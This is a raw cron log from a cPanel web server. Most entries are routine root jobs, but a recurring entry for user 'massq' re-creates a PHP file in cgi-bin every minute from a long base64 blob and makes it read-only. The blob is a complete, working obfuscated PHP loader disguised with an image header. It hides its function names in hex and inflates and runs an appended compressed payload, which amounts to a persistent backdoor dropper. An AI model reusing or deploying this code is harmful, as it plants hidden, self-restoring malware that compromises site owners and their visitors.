Sep  2 23:43:01 server CROND[9566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:43:01 server CROND[9567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:44:01 server CROND[9949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:44:01 server CROND[9950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:44:01 server CROND[9951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:45:01 server CROND[10337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:45:01 server CROND[10339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:45:01 server CROND[10340]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:45:01 server CROND[10343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:45:01 server CROND[10344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:45:01 server CROND[10350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:45:01 server CROND[10352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:46:01 server CROND[11160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:46:01 server CROND[11162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:46:01 server CROND[11161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:47:01 server CROND[11544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:47:01 server CROND[11545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:47:01 server CROND[11546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:48:01 server CROND[12044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:48:01 server CROND[12043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:48:01 server CROND[12045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:49:01 server CROND[12458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:49:01 server CROND[12460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:49:01 server CROND[12459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:50:01 server CROND[12874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:50:01 server CROND[12875]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:50:01 server CROND[12877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:50:01 server CROND[12879]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:50:01 server CROND[12883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:50:01 server CROND[12886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:50:01 server CROND[12887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:50:01 server CROND[12885]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 23:50:01 server CROND[12888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:51:01 server CROND[13790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:51:01 server CROND[13791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:51:01 server CROND[13792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:52:01 server CROND[14196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:52:01 server CROND[14197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:52:01 server CROND[14198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:53:01 server CROND[14579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:53:01 server CROND[14580]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  2 23:53:01 server CROND[14582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:53:01 server CROND[14581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:54:01 server CROND[15130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:54:01 server CROND[15131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:54:01 server CROND[15132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:55:01 server CROND[15577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:55:01 server CROND[15579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:55:01 server CROND[15587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:55:01 server CROND[15586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:55:01 server CROND[15588]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
